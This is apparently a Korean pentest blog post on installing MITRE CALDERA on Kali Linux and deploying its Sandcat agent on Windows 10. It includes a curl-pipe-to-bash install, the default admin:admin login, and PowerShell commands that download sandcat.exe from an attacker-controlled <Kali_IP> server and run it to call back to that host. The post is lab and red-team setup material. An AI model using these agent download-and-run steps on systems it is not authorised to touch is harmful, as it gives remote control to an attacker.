Home [Pentest] CALDERA 설치 및 Agent 연동
Post
Cancel

[Pentest] CALDERA 설치 및 Agent 연동

#Set-up

Environment:
OS: Kali Linux 2025.2


  1. Git clone

    1
    
     git clone https://github.com/mitre/caldera.git --recursive
    
  2. Python 가상환경 설정

    1
    2
    3
    
     cd caldera
     python3 -m venv venv
     source venv/bin/activate
    
  3. requirements 설치

    1
    
     pip3 install -r requirements.txt
    
  4. 빌드를 위한 npm 설치

    1
    
     sudo apt install npm nodejs
    
  5. Caldera 빌드 및 실행

    1
    
     python server.py --insecure --build
    
  6. (Optional) 패키지 설치 오류 해결

    업그레이드된 Kali Linux에서는 Python 3.13을 사용하는데 caldera는 Python 3.12까지 지원한다.

    참고: https://github.com/mitre/caldera/issues/3154


    1
    2
    3
    4
    
     # Install deps
     sudo apt-get install -y build-essential libssl-dev zlib1g-dev libbz2-dev \
         libreadline-dev libsqlite3-dev libncurses5-dev libffi-dev \
         liblzma-dev libgdbm-dev libnss3-dev curl git
    


    1
    2
    
     # Install pyenv
     curl -fsSL https://pyenv.run | bash
    


    1
    2
    3
    4
    5
    
     # Add to shell init
     echo 'export PATH="$HOME/.pyenv/bin:$PATH"' >> ~/.zshrc
     echo 'eval "$(pyenv init -)"' >> ~/.zshrc
     echo 'eval "$(pyenv virtualenv-init -)"' >> ~/.zshrc
     exec $SHELL
    


    1
    2
    3
    4
    5
    6
    7
    8
    9
    
     # Install Python 3.11
     pyenv install 3.11.9
     pyenv virtualenv 3.11.9 caldera-env
    
     # (쉘 다시 실행)
    
     pyenv activate caldera-env
     pip install -r requirements.txt
     python server.py --insecure
    



#Execute

CALDERA는 기본적으로 localhost:8888에서 실행되고, 기본 계정은 admin:admin이다.


image

image



#Agent 연동

Environment:
OS: Windows 10


연동 방법 (1) - Sandcat 수동 컴파일

  1. (Kali) 기존 sandcat 제거 후 재클론

    1
    2
    
     rm -rf plugins/sandcat
     git clone https://github.com/mitre/sandcat.git plugins/sandcat
    
  2. Go 설치

    1
    2
    
     sudo apt update
     sudo apt install golang-go
    
  3. Windows용 sandcat 수동 컴파일

    1
    2
    
     cd plugins/sandcat
     GOOS=windows GOARCH=amd64 go build -o sandcat.exe sandcat.go
    
  4. sandcat.exe 생성 여부 확인

    1
    
     ls -l sandcat.exe
    
  5. 임시 웹 서버 실행

    1
    
     python -m http.server 9999
    
  6. (Windows) sandcat.exe 다운로드

    1
    
    Invoke-WebRequest -Uri http://<Kali_IP>:9999/sandcat.exe -OutFile C:\Users\Public\sandcat.exe
    
  7. Agent 연결

    1
    2
    
     cd C:\Users\Public
     .\sandcat.exe -server http://<Kali_IP>:9999 -group red
    



연동 방법 (2) - caldera web에서 설정

  1. (Windows) 웹 브라우저에서 <Kali_IP>:8888 접속

  2. CAMPAIGNS 메뉴 > agents > Deploy an agent 버튼 클릭

  3. sandcat 탭 선택 후, Windows 탭 선택

  4. app.contact.http 값을 Kali IP로 변경 후, 생성되는 PowerShell 스크립트 복사

  5. PowerShellISE에서 복사한 스크립트 붙여넣기 후 실행


image

This post is licensed under CC BY 4.0 by the author.

[Study] PowerShell Obfuscation

[Write-Up] 2025 Fiesta - Web Treasure Hunt